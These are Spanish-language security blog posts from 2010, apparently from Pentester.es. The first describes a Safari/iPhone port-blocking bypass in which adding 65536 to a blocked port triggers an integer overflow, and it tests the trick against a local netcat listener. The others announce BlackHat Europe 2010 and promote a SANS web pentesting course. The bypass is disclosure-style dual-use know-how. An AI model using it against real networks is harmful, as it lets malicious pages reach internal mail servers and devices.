Bypass Safari Port Blocking (XPS)

El día 23 de Marzo la gente de Goatse Security ha hecho público en la lista seclists.org una vulnerabilidad para saltarste el bloqueo de puertos que llevan los navegadores de Apple. El problema nace de un integer overflow del número de puerto fijado en una dirección url.

Los chicos de Goatse Security realizan las pruebas de concepto con una ipad; en cambio nosotros vamos a ver qué tal funciona la vulnerabilidad con un iphone (también ha sido probada con Safari para Windows):

1. Primero vamos a levantar un puerto 25 en una máquina que hará de "posible servidor smtp":



2. Desde el navegador de nuestro iphone accedemos a la ip donde está escuchando el netcat en el puerto 25 (192.168.1.124) y recibimos el siguiente mensaje:



3. Ahora como bien leemos en el advisory, si nosotros en vez de visitar el puerto 25, visitamos el puerto 65536 (número de puertos TCP) más 25, es decir el 65561, obtendremos el siguiente resultado:






Como vemos, hemos saltado la protección del navegador del bloqueo de puertos; y como bien comenta la gente de Goatse Security, un atacante que ponga una página web maliciosa y que aproveche esta vulnerabilidad podrá realizar diferentes acciones sobre una víctima, como intentar el envio de correos a través de servidores de correo corporativos, realizar ataques de fuerza bruta sobre dispositivos, etc.

Esperaremos los parches que corrijan esta y otras vulnerabilidades asociadas a los productos de la manzana para poder navegar un poquito más seguros.

jueves, 8 de abril de 2010

BlackHat Europe 2010: Allá vamos!


La próxima semana, entre el 12 y el 15 de Abril tendrá lugar en Barcelona una de las Conferencias de Seguridad de mayor fama del mundo, en su edición Europea, la cual tradicionalmente ha tenido lugar en Amsterdam, pero que en esta ocasión va a tener lugar en nuestro pais:


Los eventos se dividen en dos partes: Los dos primeros días tendrán lugar los Training (cursos de formación), mientras que los dos últimos días podremos asistir a los Briefings (charlas/ponencias).

Los Training son cursos de formación de dos jornadas de duración de todo tipo de temáticas relacionadas con la seguridad técnica, como por ejemplo:
  • Exploit Laboratory
  • Hardware Hacking & Reverse Engineering
  • Mac Hacking
  • Virtualization (In)Security
  • WarfaRE: Offensive Reverse Engineering
  • Web Application (in)Security
Por contra, los Briefing son las típicas charlas a las que la BlackHat nos tiene acostumbrados en la que los ponentes nos desvelan las últimas técnicas, herramientas, etc. En este caso, la BlackHat Europe 2010 va a disponer de 3 salas simultáneas en las que tendremos temáticas de seguridad web, hardware, exploits y forensics. Algunos ejemplos:
  • Next Generation ClickJacking
  • FreeBSD Kernel Stack and Heap Exploitation
  • Universal XSS via IE8s Filters
  • 0-Knowledge Fuzzing
  • Oracle Interrupted: Stealing Sessions and Credentials
Como podemos ver, unas conferencias de altísimo nivel que al menos desde Pentester.es no nos queremos perder, así que estaremos por Barcelona los días 14 y 15 de Abril para asistir a los Briefing y ver que se cuece :)

lunes, 5 de abril de 2010

"Web App Penetration Testing and Ethical Hacking" del SANS en Madrid

Respondiendo al éxito del curso de "SEC504: Hacking Techniques, Exploits & Incident Handling" que estamos en estos momentos impartiendo en la modalidad Mentor entre Pedro Eisman y yo mismo, el SANS Institute ya tiene preparados para los sucesivos meses nuevos cursos que se impartirán en diferentes modalidades en España, concretamente en Madrid.

Sin ir más lejos, entre los días 20 y 25 de Septiembre de este año, tendrá lugar en Madrid uno de los cursos más recientes del SANS Institute, el "SEC542: Web App Penetration Testing & Ethical Hacking" en la modalidad Community SANS. Esta modalidad, al contrario de lo que sucede con la modalidad Mentor, es completamente presencial, es decir, a lo largo de los 6 días consecutivos de 6 horas de duración se imparten todos y cada uno de los contenidos del curso, lo cual puede permitir a personas de fuera de Madrid asistir a este curso, ya que se imparte en su totalidad en estos 6 días consecutivos.

El instructor, todo un Instructor Certificado del SANS Institute con experiencia impartiendo cursos de SANS por toda Europa, y de las pocas personas del mundo que pueden presumir de ostentar el certificado GSE (GIAC Security Expert), el certificado de más alto nivel de SANS Institute/GIAC: Raúl Siles, Analista de Seguridad Senior y Co-Fundador de Taddong, una nueva empresa de seguridad que está empezando a ofrecer diversos tipos de servicios de seguridad de alta especialización técnica. Todo eso aquí en Madrid, solo para nosotros y en Español (con los materiales en Inglés). Un auténtico lujo.

En cuanto al curso, exactamente el mismo al que asistiríamos si viajáramos a Londres, Munich, Dublín o cualquier otro de los destinos habituales de las Conferencias del SANS Institute.

Durante estos 6 días, el curso tocará los diferentes tipos de técnicas y vulnerabilidades que podemos encontrar en aplicaciones web, y la manera de explotarlas, tanto en el lado servidor como en el lado cliente, algo muchas veces olvidado pero que representa uno de los vectores de ataque más sencillos para los atacantes. A esto le añadimos, no solo todo tipo de técnicas para explotar vulnerabilidades en aplicaciones web, sino también todas las técnicas de pentesting sobre el servicio web, como puedan ser debilidades en SSL, descubrimiento de Hosts Virtuales y un largo etcetera.

Todo esto junto, perfectamente organizado, práctico y con ejemplos al más puro estilo SANS Institute, con un instructor de auténtico lujo y con clases en Español. Muy muy MUY recomendable.

A fin de cuentas... ¿quién de los presentes no tiene en su empresa una (o mil) aplicaciones web expuestas a Internet que no pueden protegerse mediante cortafuegos u otras técnicas habituales? Si a eso le juntamos que las aplicaciones web son generalmente software realizado a medida que, en muchas ocasiones, no pasan los controles y auditorías necesarias antes de su paso a producción (y mi experiencia como Pentester es prueba de ello), eso convierte la seguridad en aplicaciones web en una disciplina imprescindible para cualquier empresa. Si no dominas este tema, esta es tu oportunidad. ¡No la dejes pasar!